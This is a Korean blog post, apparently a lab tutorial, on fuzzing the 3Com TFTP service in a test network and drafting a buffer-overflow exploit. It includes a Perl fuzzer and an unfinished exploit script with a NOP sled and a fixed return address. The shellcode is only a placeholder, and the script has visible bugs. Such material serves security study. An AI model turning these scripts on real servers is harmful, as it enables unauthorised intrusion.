※ 주의사항
아래 공격 코드는 연구 목적으로 작성된 것이며, 허가 받지 않은 공간에서는 테스트를 절대 금지합니다.
악의 적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신한테 있습니다. 이는 해당 글을 열람할 때 동의하였다는 것을 의미합니다.
1. 실습 환경 구성
구분 | O/S | IP Address |
Attacker | Backtrack 5 R3 | 192.168.112.139 |
Victim | windows Server 2003 | 192.168.112.131 |
[표 1-1] 환경 구성
2. 실습 시나리오
[그림 2-1] 실습 시나리오
본 실습은 3Com Tftp Service 에 대한 Fuzzer를 제작하여 Fuzzing 을 수행하고 발견된 취약점을 활용하여 exploit 을 제작, 대상 서버에서 계산기를 띄우는 것이 목표이다.
3. Tftp Service Fuzzing 실습
(1) 3Com Tftp Service 에 대한 정보 습득
[그림 3-1] 3Com Tftp 서비스 및 포트 확인
[그림 3-1]은 3Com Tftp Service 에 대한 정보를 확인하는 과정으로 이를 통해 해당 서비스는 UDP/69 port 를 활용하는 것을 확인하였다.
(2) Fuzzer 제작
우선 Fuzzer를 제작하기에 앞서 해당 TFTP의 경우 기존에 작성했던 vulnserver.exe와는 달리 TFTP Protocol 을 이용하여 서로간의 데이터가 오가기 때문에 Fuzzer를 제작하기 위해서는 TFTP 자체에 대해 알아보고 넘어가야 한다.
① OPcode 2Byte | ② File name String | ③ 0 1Byte | ④ Mode String | ⑤ 0 1Byte |
◆ OPcode : Read Request(1), Write Request(2) 등이 있으나 본 문서에서는 Client 에서 Server 데이터를 써서 Overflow 일으키고자 하므로 Write Request(2) 를 사용할 것이다.
◆ File name
◆ Mode : Data
이러한 정보를 토대로 perl 을 활용한 Fuzzer를 제작해보도록 하겠다.
[그림 3-2] 취약점 위치 확인을 위한 패턴 생성
/pentest/exploits/framwork/tools/pattern_create.rb 500 |
[그림 3-2]는 BOF 취약점의 위치를 판별하기 위해 pattern_creaste.rb를 통해 500 문자로 이루어진 패턴을 생성하는 것이다.
[그림 3-3] tftp_fuzzer.pl 소스 코드
#!/usr/bin/perl use IO::Socket; $pattern = "pattern_create.rb 를 통해 제작한 pattern 입력"; # tftp header에서 ④에 해당. $target = IO::Socket::INET->new( Proto=>'udp', PeerAddr=>$ARGV[0], PeerPort=>$ARGV[1]) or die "Cannot connect to $ARGV[0] on port $ARGV[1]"; # udp Socket 생성 $pattern = "\x00".$pattern; # tftp header 에서 ③에 해당. $pattern = "\x41".$pattern; # tftp header 에서 ②에 해당. $pattern = "\x00\x02".$pattern; # tftp header 에서 ①에 해당 $pattern = $pattern."\x00"; # tftp header 에서 ⑤에 해당. print $target $pattern; # tftp 접속 및 packet 전송 close($target); exit; |
[그림 3-3] 은 스크립트 언어인 perl을 활용하여 [그림 3-2]에서 생성한 패턴과 함께 tftp header 의 구조로 전송하고자 하는 packet을 만든 후 이를 tftp server로 전송하는 스크립트를 제작한 것이다.
이제부터는 [그림 3-3]을 통해 제작한 스크립트를 활용하여 tftp server의 취약점 위치를 확인할 것이다.
[그림 3-4] Immunity debugger와 3Com Tftp Service와의 연결
[그림 3-4]와 같이 fuzzing 전에 EIP의 주소 등과 같은 정보를 얻기위해 [File] - [Attach] 메뉴를 활용하여 3Com Tftp Service에 Attack 한다.
[그림 3-5] tftp_fuzzer.pl 을 통한 Fuzzing
tftp_fuzzer.pl 을 활용하여 192.168.112.137 의 udp/69 port 로의 Fuzzing을 수행한다.
[그림 3-6] Fuzzing 결과
Fuzzing 의 결과로 0x38704137 이라는 결과가 나왔으며 이를 이제 패턴의 어디에 위치해 있는지 확인해보자.
[그림 3-7] 취약점 위치
[그림 3-7]에서는 취약점의 위치는 473번째라고 나왔지만 실제로 [그림 3-3]에서 코드를 작성할때 Tftp Header의 구조를 지키기 위해 4개의 문자를 더 붙여주었다.
즉 실제로는 504개의 문자가 들어갔기 때문에 473-4를 하여 469번째 패턴에서 BOF가 일어났다고 할 수 있다.
(3) exploit 제작(미완.......ㅠㅠ)
# tftp_exploit.pl # !/usr/bin/perl use IO::Socket; # shell code $shell_code ="계산기 코드" $target = IO::Socket::INET->new(Proto=>'udp', PeerAddr=>$ARGV[0], PeerPort=>$ARGV[1]) or die "Cannot connect to $ARGV[0] on port $ARGV[1]"; $nop = "\x90" x 6; $eip = pack('V', 0x77D09353); $packet = "\x00".$packet; $packet = "\x41".$packet; $packet = "\x00\x02".$packet; $packet = $packet.$nop; $packet = $packet.$eip; $packet = $packet.$shellcode; $packet = $packet."\x00"; print $target $packet; close($target); exit; ~ |
'Security > Bug Hunting' 카테고리의 다른 글
[Fuzzing] vulnserver.exe Fuzzing && Exploit (0) | 2014.07.28 |
---|---|
Bug Bounty Site (0) | 2014.03.30 |